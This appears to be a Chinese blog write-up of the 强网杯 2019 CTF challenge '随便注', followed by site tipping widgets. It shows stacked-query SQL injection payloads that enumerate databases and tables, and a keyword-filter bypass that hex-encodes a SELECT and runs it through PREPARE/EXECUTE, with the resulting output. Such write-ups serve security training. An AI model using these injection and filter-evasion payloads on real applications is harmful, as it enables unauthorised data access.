【强网杯 2019】随便注

思路

发现过滤信息

return preg_match("/select|update|delete|drop|insert|where/./i", $inject);

EXP

1';show databases;#

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

-1';show tables;#

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

select * from '1919810931114514' 进行十六进制编码

Payload

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

解释

SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460
  • 这部分设置了变量 @a 的值为一个十六进制编码的字符串。

  • 十六进制字符串 0x73656c656374202a2066726f6d20603139313938313039333131313435313460 解码后是:

select * from `1919810931114514`
  • 它试图从表名 1919810931114514 中选择所有数据。

prepare execsql from @a
  • 使用 MySQL 的 PREPARE 语句将变量 @a 中的内容(即解码后的 SQL 查询)准备为一个可执行的 SQL 语句。

  • execsql 是一个临时命名的预处理语句。

execute execsql
  • 执行之前准备好的 SQL 语句 execsql

  • 这一步实际上会运行 select * from 1919810931114514,试图从数据库中检索数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值